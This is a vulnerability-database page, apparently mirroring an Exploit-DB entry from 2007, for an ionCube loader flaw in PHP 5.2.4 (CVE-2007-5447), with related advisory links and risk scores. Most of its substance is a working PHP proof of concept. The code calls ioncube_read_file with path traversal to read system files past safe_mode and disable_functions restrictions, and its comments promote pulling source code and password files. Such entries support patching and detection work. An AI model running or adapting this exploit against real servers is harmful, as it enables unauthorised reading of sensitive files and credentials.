Lucene search
+L

PHP 5.2.4 ionCube - 'ioncube_read_file' Safe Mode / disable_functions Bypass

🗓️ 11 Oct 2007 00:00:00Reported by shinnaiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 47 Views

PHP 5.2.4 ionCube extension bypassing safe_mode and disable_functions protections for retrieving sensitive informatio

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2007-5447
14 Oct 200718:00
cve
Cvelist
CVE-2007-5447
14 Oct 200718:00
cvelist
EUVD
EUVD-2007-5423
7 Oct 202500:30
euvd
NVD
CVE-2007-5447
14 Oct 200718:17
nvd
OpenVAS
PHP < 5.2.5 Multiple Vulnerabilities
17 Aug 202000:00
openvas
OpenVAS
PHP < 5.2.5 Multiple Vulnerabilities
21 Jun 201200:00
openvas
Tenable Nessus
PHP < 5.2.5 Multiple Vulnerabilities
12 Nov 200700:00
nessus
Prion
Design/Logic Flaw
14 Oct 200718:17
prion
<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Technical details:
//ionCube version: 6.5
//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
//url: www.ioncube.com

//php.ini settings:
//safe_mode = On
//disable_functions = ioncube_read_file, readfile

//Description:
//This is useful to obtain juicy informations but also to retrieve source
//code of php pages, password files, etc... you just need to change file path.
//Anyway, don't worry, nobody will read your obfuscated code :)

//greetz to: BlackLight for help me to understand better PHP

//P.S.
//This extension contains even an interesting ioncube_write_file function...

if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");

$path = str_repeat("..\\", 20);

$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)

$MyBoot_ioncube = ioncube_read_file($path."boot.ini");

echo $MyBoot_readfile;

echo "<br><br>ionCube output:<br><br>";

echo $MyBoot_ioncube;
?>

# milw0rm.com [2007-10-11]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Feb 2020 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.04582
47